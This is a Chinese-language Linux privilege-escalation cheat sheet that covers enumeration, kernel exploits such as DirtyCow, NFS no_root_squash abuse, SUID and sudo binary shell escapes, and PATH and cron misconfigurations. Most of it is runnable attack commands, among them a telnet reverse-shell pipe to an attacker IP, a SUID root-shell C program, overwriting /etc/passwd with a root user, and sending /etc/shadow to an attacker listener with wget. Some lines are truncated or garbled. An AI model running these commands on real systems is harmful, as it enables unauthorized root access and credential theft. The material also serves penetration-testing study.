1、提权使用的技术
内核漏洞
以root身份运行的程序
已安装的软件
弱密码/重用密 码/纯文本密码
内部服务
Suid配置错误
滥用sudo权利
由root调用的可写脚本
路径配置错误
Cronjobs
卸载的文件系统
2、信息收集
2.1 操作系统
2.1.1 发行类型、版本
1 cat /etc/issue
2 cat /etc/*-release
3 cat /etc/lsb-release # Debian based
4 cat /etc/redhat-release # Redhat based
2.1.2 内核版本,是*64*位吗?
1 cat /proc/version
2 uname -a uname -mrs 3 rpm -q kernel
4 dmesg | grep Linux
5 ls /boot | grep vmlinuz-
2.1.3 环境变量,可能存在密码或API密钥
1 cat /etc/profile
2 cat /etc/bashrc
3 cat ~/.bash_profile
4 cat ~/.bashrc
5 cat ~/.bash_logout 6 env set
2.1.4 路径(Path)
如果您对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制 文件:PATH
echo $ PATH
2.1.5 有打印机吗?
1 lpstat -a
2.2 应用与服务
2.2.1 哪些服务正在运行?哪个服务具有哪个用户特权?
1 ps aux
2 ps -ef top
3 cat /etc/services
*2.2.2 root*正在运行哪些服务?
1 ps aux | grep root ps -ef | grep root
2.2.3 安装了哪些应用程序?程序版本?是否在运行?
1 ls -alh /usr/bin/
2 ls -alh /sbin/
3 dpkg -l
4 rpm -qa
5 ls -alh /var/cache/apt/archivesO
6 ls -alh /var/cache/yum/
2.2.4 服务设置是否配置错误?是否附有(脆弱的)插件?
1 cat /etc/syslog.conf
2 cat /etc/chttp.conf
3 cat /etc/lighttpd.conf
4 cat /etc/cups/cupsd.conf
5 cat /etc/inetd.conf
6 cat /etc/apache2/apache2.conf
7 cat /etc/my.conf
8 cat /etc/httpd/conf/httpd.conf
9 cat /opt/lampp/etc/httpd.conf
10 ls -aRl /etc/ | awk '$1 ~ /^.r./
2.2.5 计划任务
1 crontab -l
2 ls -alh /var/spool/cron
3 ls -al /etc/ | grep cron
4 ls -al /etc/cron*
5 cat /etc/cron*
6 cat /etc/at.allow
7 cat /etc/at.deny
8 cat /etc/cron.allow
9 cat /etc/cron.deny
10 cat /etc/crontab
11 cat /etc/anacrontab
12 cat /var/spool/cron/crontabs/root
2.2.6 是否有纯文本用户名和密码?
检查Web服务器 连接到数据库的文件( config.php或类似文件)
检查数据库以获取可能被重用的管理员密码
检查弱密码:
1 grep -i user [filename]
2 grep -i pass [filename]
3 grep -C 5 "password" [filename]
4 find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
2.3 通讯与网络
2.3.1 系统具有哪些NIC?它是否连接到另一个网络?
1 /sbin/ifconfig -a
2 cat /etc/network/interfaces
3 cat /etc/sysconfig/network
2.3.2 什么是网络配置 设置?我们可以找到关于该网络的哪些信息?DHCP*服务器?**DNS***服务器?网关?
1 cat /etc/resolv.conf
2 cat /etc/sysconfig/network
3 cat /etc/networks
4 iptables -L
5 hostname
6 dnsdomainname
2.3.3 其他哪些用户和主机正在与系统通信 ?
在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者其中可能存在漏洞。由于开发人员或用户可能在考虑“由于只有特定用户可以访问它,因此我们不需 要花费那么多的安全性”,因此它们可能更加脆弱。
检查netstat并将其与您从外部进行的nmap扫描进行比较。是否能从内部找到更多可用的服务?
# Linux
netstat -anlp
netstat -ano
1 lsof -i
2 lsof -i :80 grep 80 /etc/services
3 netstat -antup
4 netstat -antpx
5 netstat -tulpn
6 chkconfig --list chkconfig --list | grep 3:on
7 last
8 w
2.3.4 缓存了什么?*IP*或*MAC*地址
1 arp -e
2 route
3 /sbin/route -nee
2.3.5 数据包嗅探是否可能?可以看到什 么?
1 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]
2.3.6 我们有shell吗?
1 nc -lvp 4444 # Attacker. Input (Commands)
2 nc -lvp 4445 # Attacker. Ouput (Results)
3 telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets syst
2.3.7 是否可以进行端口转发?重定向流量并与之交互
注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]
1 FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
注意:ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]
1 ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port 2 ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地 端口]> backpipe
1 mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Po
2 mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhos
3 mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhos
2.3.8 可以使用隧道吗?在本地远程发送命令
1 ssh -D 127.0.0.1:9050 -N [username]@[ip] 2 proxychains ifconfig
2.4 机密信息和用户
2.4.1 你是谁?谁登录?谁已经登录?那里还有谁?谁能做什么?
1 id
2 who
3 w
4 last
5 cat /etc/passwd | cut -d: -f1 # List of users
6 grep -v -E "^#" /etc/passwd |
7 awk -F: '3 == 0 { print $1}' # List of super users awk -F: '(3 == "0") {pri。。。
8 cat /etc/sudoers
9 sudo -l
2.4.2 可以找到哪些敏感文件?
1 cat /etc/passwd
2 cat /etc/group
3 cat /etc/shadow
4 ls -alh /var/mail/
2.4.3 home/root目录 有什么“有用 ”的地方吗?如果可以访问
1 ls -ahlR /root/
2 ls -ahlR /home/
2.4.4 里面有密码吗?脚本,数据库,配置文件还是日志文件?密码的默认路径和 位置
1 cat /var/apache2/config.inc
2 cat /var/lib/mysql/mysql/user.MYD
3 cat /root/anaconda-ks.cfg
2.4.5 用户正在做什么?是否有纯文本密码?他们在编辑什么?
1 cat ~/.bash_history
2 cat ~/.nano_history
3 cat ~/.atftp_history
4 cat ~/.mysql_history
5 cat ~/.php_history
2.4.6 可以找到哪些用户信息?
1 cat ~/.bashrc cat ~/.profile 2 cat /var/mail/root
3 cat /var/spool/mail/root
2.4.7 可以找到私钥信息吗?
1 cat ~/.ssh/authorized_keys
2 cat ~/.ssh/identity.pub
3 cat ~/.ssh/identity
4 cat ~/.ssh/id_rsa.pub
5 cat ~/.ssh/id_rsa
6 cat ~/.ssh/id_dsa.pub
7 cat ~/.ssh/id_dsa
8 cat /etc/ssh/ssh_config
9 cat /etc/ssh/sshd_config
10 cat /etc/ssh/ssh_host_dsa_key.pub
11 cat /etc/ssh/ssh_host_dsa_key
12 cat /etc/ssh/ssh_host_rsa_key.pub
13 cat /etc/ssh/ssh_host_rsa_key
14 cat /etc/ssh/ssh_host_key.pub
15 cat /etc/ssh/ssh_host_key
2.5 文件系统
2.5.1 可以在/ etc /中写入哪些配置文件?能够重新配置服务?
1 ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone
2 ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
3 ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
4 ls -aRl /etc/ | awk '1 ~ /w./' 2>/dev/null # Other
5 find /etc/ -readable -type f 2>/dev/null # Anyone
6 find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
2.5.2 在/ var /中可以 找到什么?
1 ls -alh /var/log
2 ls -alh /var/mail
3 ls -alh /var/spool
4 ls -alh /var/spool/lpd
5 ls -alh /var/lib/pgsql
6 ls -alh /var/lib/mysql
7 cat /var/lib/dhcp3/dhclient.leases
2.5.3 网站上是否有任 何设置/文件(隐藏)?有数据库信息的任何设置文件吗?
1 ls -alhR /var/www/
2 ls -alhR /srv/www/htdocs/
3 ls -alhR /usr/local/www/apache22/data/
4 ls -alhR /opt/lampp/htdocs/
5 ls -alhR /var/www/html/
2.5.4 日志文件中是否有任何内容(可以帮助“本地文件包含”!)
1 cat /etc/httpd/logs/access_log
2 cat /etc/httpd/logs/access.log
3 cat /etc/httpd/logs/error_log
4 cat /etc/httpd/logs/error.log
5 cat /var/log/apache2/access_log
6 cat /var/log/apache2/access.log
7 cat /var/log/apache2/error_log
8 cat /var/log/apache2/error.log
9 cat /var/log/apache/access_log
10 cat /var/log/apache/access.log
11 cat /var/log/auth.log
12 cat /var/log/chttp.log
13 cat /var/log/cups/error_log
14 cat /var/log/dpkg.log
15 cat /var/log/faillog
16 cat /var/log/httpd/access_log
17 cat /var/log/httpd/access.log
18 cat /var/log/httpd/error_log
19 cat /var/log/httpd/error.log
20 cat /var/log/lastlog
21 cat /var/log/lighttpd/access.log
22 cat /var/log/lighttpd/error.log
23 cat /var/log/lighttpd/lighttpd.access.log
24 cat /var/log/lighttpd/lighttpd.error.log
25 cat /var/log/messages
26 cat /var/log/secure
27 cat /var/log/syslog
28 cat /var/log/wtmp
29 cat /var/log/xferlog
30 cat /var/log/yum.log
31 cat /var/run/utmp
32 cat /var/webmin/miniserv.log
33 cat /var/www/logs/access_log
34 cat /var/www/logs/access.log
35 ls -alh /var/lib/dhcp3/
36 ls -alh /var/log/postgresql/
37 ls -alh /var/log/proftpd/
38 ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, ma
2.5.5 如果命令受到限 制,我们得跳出“受到限制”外壳吗?
1 python -c 'import pty;pty.spawn("/bin/bash")'
2 echo os.system('/bin/bash')
3 /bin/sh -i
2.5.6 是否存在安装文件系统?
1 mount
2 df -h
2.5.7 是否有任何卸载的文件系统?
1 cat /etc/fstab
2.5.8“Linux文件权限”是什么?
1 find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the
2 find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the gro
3 find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the own
6 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
7 for i in locate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type。。。 # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders
11 find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/
2.5.9 可以在哪里写入和执行?一些“*常见**”*位置:*/ tmp*,*/ var / tmp*,*/ dev / shm***
1 find / -writable -type d 2>/dev/null
2 find / -perm -222 -type d 2>/dev/null
3 find / -perm -o w -type d 2>/dev/null
4 find / -perm -o x -type d 2>/dev/null
5 find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
2.5.10 任何“问题”文件吗?*Word*可写的“*没人**”***文件
1 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writ
2 find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
2.6 准备和查找漏洞利用代码
2.6.1 安装/支持哪些开发工具/语言?
1 find / -name perl*
2 find / -name python*
3 find / -name gcc* find / -name cc
2.6.2 如何上传文件?
1 find / -name wget
2 find / -name nc*
3 find / -name netcat*
4 find / -name tftp*
5 find / -name ftp
2.6.3 系统是否已完全打补丁?
内核,操作系统,所有应用程序,其插件和Web服务
3、提权
3.1 枚举脚本
3.1.1 LinEnum
GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
以下是选项:
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
3.1.2 Unix特权
unix-privesc-check | pentestmonkey
运行脚本并将输出 保存在文件中,然后使用 grep发出警告。
3.1.3 Linprivchecker.py
linpostexp/linprivchecker.py at master · reider-roque/linpostexp · GitHub
3.2 内核漏洞
工作流程:
1.诱使内核在内核模式下运行我们的有效负载
2.处理内核数据,例如进程特权
3.以新特权启动shell root!
满足以下四个条件:
1.易受攻击的内核
2.匹配的漏洞利用程序
3.将漏洞利用程序转移到目标上的能力
4.在目标上执行漏洞利用程序的能力
3.2.1 内核信息收集
3.2.2 搜索漏洞
site:exploit-db.com kernel version python linprivchecker.py extended
3.2.3 通过脏牛(CVE-2016-5195)漏洞攻击
$ whoami 命令–告诉我们当前用户是john(非root用户)
$ uname -a –给我们我们知道容易受到dirtycow攻击的内核版本>从此处下载dirtycow漏洞– https://www.exploit-db .com / exploits / 40839 />编译并执行。通过编辑/ etc / passwd 文件,它将“ root”用户替换为新用户“ rash”。
$ su rash –将当 前登录用户更改为root用户的“ rash”
3.2.4 其他内核提权
PoCs · dirtycow/dirtycow.github.io Wiki · GitHub
3.3 历史漏洞提权:避免一开始就利用任何 本地提权漏洞
如果可以避免,请不要使用内核漏洞利用。 如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因 此,内核漏洞利用应该是最后的手段。
1.远程主机可能会崩溃,因为许多公开可用的根漏洞利用都不十分稳定。
2.您可能会成为root用户,然后使系统崩溃。
3.漏洞利用可能会留下痕迹/日志。
3.3.1 内核漏洞
检查内核版本以及是否存在一些可用于提权的漏洞
1 cat /proc/version
2 uname -a
3 searchsploit "Linux Kernel"
此处有内核列表和exp: https : //github.com/lucyoa/kernel-exploits 和 exploitdb sploits。
其他网站,可以找到一些编译漏洞:https://github.com/bwbwbwbw/linux-exploit-binaries,https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
也可以直接在MSF中搜索
3.3.2 CVE-2016-5195(DirtyCow)
Linux内核<= 3.19.0-73.8
1 # make dirtycow stable
2 echo 0 > /proc/sys/vm/dirty_writeback_centisecs
3 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
4 PoCs · dirtycow/dirtycow.github.io Wiki · GitHub
5 ClickNRoot/1/exploit.c at master · evait-security/ClickNRoot · GitHub
3.4 利用root权限运行的服务
著名的EternalBlue和SambaCry漏洞利用了以root身份运行的smb服务。由于它的致命组合,它被广泛用于在全球范围内传播勒索软件。
手法:如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则可以root用户身份执行命令。
我们可以重点检查 Web服务,邮件服务,数据库服务等是否以root用户身份运行。很多时候,运维都以root用户身份运行这些服务, 而忽略了它可能引起的安全问题。可能有一些服务在本地运行, 而没有公开暴露出来,但是也可以利用。
1 netstat -antup 显示所有打开并正在监听的端口。我们可以检查在本地运行的服务是否可以被
2 ps aux 列出哪些进程正在运行
3 ps -aux | grep root 列出以root身份运行的服务。
在Matesploits中, ps 命令,检查哪些进程正在运行
3.4.1 利用以root用户身份运行的易受攻击的MySQL版本来获得root用户访问权限
MySQL UDF动态库漏洞利用可让我们从mysql shell执行任意命令。如果mysql以root特权运行,则命令将以root身份执行。
ps -aux | grep root 列出以root身份运行的服务。
拥有root权限的程序的二进制漏洞利用远没有内核漏洞利用危险,因为即使服务崩溃,主机也不会崩溃,并且服务可能会自动重启。
防御
除非真正需要,否则切勿以root用户身份运行任何服务,尤其是Web,数据库和文件服务器。
3.5 NFS弱权限
如果您在linux服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
3.5.1 什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一 样。NFS 协议是几个分布式文件系统标准, 网络附加存储(NAS)之一。
NFS是基于UDP/IP 协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作 。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议 ,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码, 支持在异构系统之间数据的传送。
3.5.2 什么是root_sqaush和no_root_sqaush?
RootSquashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“nfsnobody”,它具有最少的本地特权。如果no_root_squash选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“root_squash”参数。
注意:要利用此,no_root_squash选项得开启。
3.5.3 利用NFS并获取RootShell
现在,我们拿到了一个低权限的shell,我们查看“/etc/exports”文件。
/etc/exports文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
1这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构
3其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是sync,ro,root_
4当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
5当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:
6共享的目录[主机名2或IP2(参数3,参数4)]
我们可以看到/tmp文件夹是可共享的,远程用户可以挂载它。还有不安全的参数“rw”(读,写),“sync”和“no_root_squash”
同样我们也可以使用showmount命令来查看。
1showmount命令用于查询NFS服务器的相关信息
2#showmount--help
3Usage:showmount[-adehv]
4--all[--exports]
6-a或--all
7以host:dir这样的格式来显示客户主机名和挂载点目录。
8-d或--directories
9仅显示被客户挂载的目录名。
10-e或--exports
11显示NFS服务器的输出清单。
12-h或--help
13显示帮助信息。
14-v或--version
15显示版本信。
16--no-headers
17禁止输出描述头部信息。
19显示NFS客户端信息
20#showmount
22显示指定NFS服务器连接NFS客户端的信息
23# showmount 192.168.1.1
#此ip为nfs服务器的
25显示输出目录列表
26# showmount -e
28显示指定NFS服务器输出目录列表(也称为共享目录列表)
29# showmount -e 192.168.1.1
31显示被挂载的共享目录
32# showmount -d
34显示客户端信息和共享目录
35# showmount -a
37显示指定NFS服务器的客户端信息和共享目录
38# showmount -a 192.168.1.1
3.5.3.1 攻击机上安装客户端工具:
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包
1 sudo apt install nfs-common
2 apt-get install cifs-utils
然后输入命令:
showmount -e [IP地址]
3.5.3.2 创建目录以挂载远程系统。
mkdir /tmp /test
3.5.3.3 在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers=2[IP地址]:/tmp /tmp/test
然后在/tmp/test/中。新建一个.c文件。
1#include<stdio.h>
2#include<stdlib.h>
3#include<sys/types.h>
4#include<unistd.h>
5intmain(){setuid(0);system("/bin/bash");return0;}
也可以
echo'intmain(){setgid(0);setuid(0);system("/bin/bash");return0;}'>
3.5.3.4 编译:
gcc /tmp/test/suid-shell.c -o /tmp/1/suid-shel
3.5.3.5 赋权:
chmod +s /tmp/test/suid-shell.c
回到要提权的服务器上:
1 cd/tmp
2 ./suid-shell
可以看到是ROOT权限了
3.6 Suid和Guid配置错误 提权
SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如,Linuxping命令通常需要root权限才能打开网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。
可用于产生SHELL的程序:
1 nmap
2 vim
3 less
4 more
5 nano
6 cp
7 mv
8 find
查找suid和guid文件:
Find SUID find / -perm -u=s -type f 2>/dev/null Find GUID find / -perm -g=s -type f 2>/dev/null
其他命令:
也可以使用 sudo -l 命令列出当前用户可执行的命令。
常用提权方式:
3.6.1 nmap
find / -perm -u = s -type f 2> / dev / null –查找设置了SUID位的可执行文件
ls -la / usr / local / bin / nmap –让我们确认nmap是否设置了SUID位。
Nmap的SUID位置1。很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特权运行,我们可以通过其交互模式访问'root'shell。
nmap –interactive –运行nmap交互模式
!sh –我们可以从nmapshell转到系统shell
msf中的模块为:
exploit/unix/local/setuid_nmap
较新版可使用--script参数:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/she
3.6.2 find
touch test
nc反弹shell:
find test -exec netcat -lvp 5555 -e /bin/sh \;
3.6.3 vi/vim
Vim的主要用途是用作文本编辑器。但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
打开vim,按下ESC
:setshell=/bin/sh
:shell
或者
sudo vim -c '!sh'
3.6.4 bash
以下命令将以root身份打开一个bash shell。
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
3.6.5 less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
less/etc/passwd
!/bin/sh
3.6.6 more
more /home/pelle/myfile2
!/bin/bash
3.6.7 cp
覆盖/etc/shadow或/etc/passwd
[zabbix@localhost ~] cat /etc/passwd >passwd [zabbix@localhost ~] openssl passwd -1 -salt hack hack123 1hackWTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~] echo 'hack:1hackWTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/ [zabbix@localhost ~] cp passwd /etc/passwd [zabbix@localhost ~] su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:1hackWTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
3.6.8 mv
覆盖/etc/shadow或/etc/passwd
[zabbix@localhost ~] cat /etc/passwd >passwd [zabbix@localhost ~] openssl passwd -1 -salt hack hack123 1hackWTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~] echo 'hack:1hackWTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/ [zabbix@localhost ~] mv passwd /etc/passwd [zabbix@localhost ~] su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:1hackWTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
3.6.9 nano
nano /etc/passwd
3.6.10 awk
awk 'BEGIN{system("/bin/sh")}'
3.6.11 man
man passwd
!/bin/bash
3.6.12 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
3.6.13 apache
仅可查看文件,不能弹shell:
apache2 -f /etc/shadow
3.6.14 tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
3.6.15 python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
perl:
exec "/bin/bash";
3.7 SUDO提权
利用SUDO用户:
/usr/bin/find
/usr/bin/nano
/usr/bin/vim
/usr/bin/man
/usr/bin/awk
/usr/bin/less
/usr/bin/nmap(–interactiveand–scriptmethod)
/bin/more
/usr/bin/wget
/usr/sbin/apache2
什么是SUDO??
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
基础:
它的特性主要有这样几点:
§ sudo能够限制用户只在某台主机上运行某些命令。
§ sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
§ sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
§ sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。
在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之一在于必须要先告知超级用户的密码。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如Ubuntu、MacOSX等。
参数说明:
-V显示版本编号
-h会显示版本编号及指令的使用方式说明
-l显示出自己(执行sudo的使用者)的权限
-v因为sudo在第一次执行时或是在N分钟内没有执行(N预设为五)会问密码,这个参数是重新做一次确认,如果超过N分钟,也会问密码
-k将会强迫使用者在下一次执行sudo时问密码(不论有没有超过N分钟)
-b将要执行的指令放在背景执行
-p prompt可以更改问密码的提示语,其中%u会代换为使用者的帐号名称,%h会显示主机名称
-u username/#uid不加此参数,代表要以root的身份执行指令,而加了此参数,可以以username的身份执行指令(#uid为该username的使用者号码)
-s执行环境变数中的SHELL所指定的shell,或是/etc/passwd里所指定的shell
-H将环境变数中的HOME(家目录)指定为要变更身份的使用者家目录(如不加-u参数就是系统管理者root)
command要以系统管理者身份(或以-u更改为其他人)执行的指令
Sudoer文件:
sudoers文件主要有三部分组成:
sudoers的默认配置(default),主要设置sudo的一些缺省值
alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。
安全策略(规则定义)——重点。
语法:
root ALL=(ALL) ALL
说明1:root用户可以从ALL终端作为ALL(任意)用户执行,并运行ALL(任意)命令。
第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。
touhid ALL=/sbin/poweroff
说明2:以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。
touhid ALL = (root) NOPASSWD: /usr/bin/find
说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find而无需密码。
3.7.1 利用SUDO用户:
要利用sudo用户,您需要找到您必须允许的命令。
sudo -l 命令显示了允许当前用户使用的命令。
此处sudo -l,显示用户已允许以root用户身份执行所有此二进制文件而无需密码。
让我们一一查看所有二进制文件(仅在索引中提到)和将特权提升给root用户。
3.7.1.1 使用查找命令
sudo find /etc/passwd -exec /bin/sh\;
要么
sudo find / bin -name nano -exec / bin / sh \;
3.7.1.2 使用Vim命令
sudo vim -c '!sh'
3.7.1.3 使用Nmap命令
sudo nmap-交互式 nmap>!sh sh-4.1#
注意:nmap–interactive选项在最新的nmap中不可用。
没有互动的最新方式
echo“ os.execute('/ bin / sh')”> /tmp/shell.nse && sudo nmap --script = / tmp / shell.nse
3.7.1.4 使用Man命令
sudo man man
之后按! 按下并按Enter
3.7.1.5 使用更少/更多命令
sudo less /etc/hosts
sudo more /etc/hosts
之后按!按下并按Enter
3.7.1.6 使用awk命令
sudo awk 'BEGIN{system(“/bin/sh”)}'
3.7.1.7 使用nano命令
nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改passwd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。
touhid: 6 bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI /gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/ root:/ bin
sudo nano /etc/passwd
现在切换用户密码是:test
su touhid
3.7.1.8 使用wget命令
在攻击者一边:
首先将Target的/etc/passwd文件复制到攻击者计算机。
修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。
仅附加此行=>touhid: 6 bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI /gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0 / 0:b:root / root:
将passwd文件托管到使用任何Web服务器的主机。
在受害者方面:
sudo wget http://192.168.56.1:8080/passwd -O / etc / passwd
现在切换用户密码是:test
su touhid
注意:如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。
sudo wget --post-file = / etc / shadow 192.168.56.1:8080
攻击者的设置侦听器:nc –lvp 8080
3.7.1.9 使用apache命令
但是,我们无法获得Shell和Cant编辑系统文件。
但是使用它我们可以查看系统文件。
sudo apache2 -f / etc / shadow
输出是这样的:
Syntax error on line 1 of /etc/shadow: Invalid command 'root:6bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0
可悲的是没有shell。但是我们可以现在提取root哈希,然后在破解哈希。
3.8 利用"."路径配置错误 提权
有“.”在PATH中表示用户可以从当前目录执行二进制文件/脚本。但是一些管理员为了避免每次都必须输入这两个额外的字符,他们在用户中添加“。”在他们的PATH中。对于攻击者而言,这是提升其特权的绝佳方法。
放置.路径
如果在PATH中放置点,则无需编写./binary即可执行它。那么我们将能够执行当前目录中的任何脚本或二进制文件。
假设小明是管理员,而她添加了“.”在她的PATH上,这样她就不必再输入两个字符了去执行脚本或二进制文件。
带“.”在路径中–program
不带“.”在路径中-./program
发生这种情况是因为Linux首先在“.”位置搜索程序。但是添加到PATH的开头后,就在其他任何地方搜索。
>另一个用户“小白”知道小明添加了“.” 在PATH中, > 小白告诉小明'ls'命令在他的目录中不起作用 > 小白在他的目录中添加代码,这将更改sudoers文件并使他成为管理员 > 小白将该代码存储在名为“ ls”并使其可执行 > 小明具有root特权。她来了,并在小白的主目录中执行了'ls'命令 >恶意代码不是通过原始的'ls'命令而是通过root访问来执行 >在另存为“ ls”的文件中,添加了一个代码,该代码将打印“ Hello world”
PATH = .: {PATH} –添加'.' 在PATH变量中
$ ls –执行的./ls文件,而不是运行列表命令。 >现在,如果root用户以root特权执行代码,我们可以使用root特权实现任意代码执行。
3.9 利用定时任务
如果未正确配置Cronjob,则可以利用该Cronjob获得root特权。
1.Cronjob中是否有可写的脚本或二进制文件?
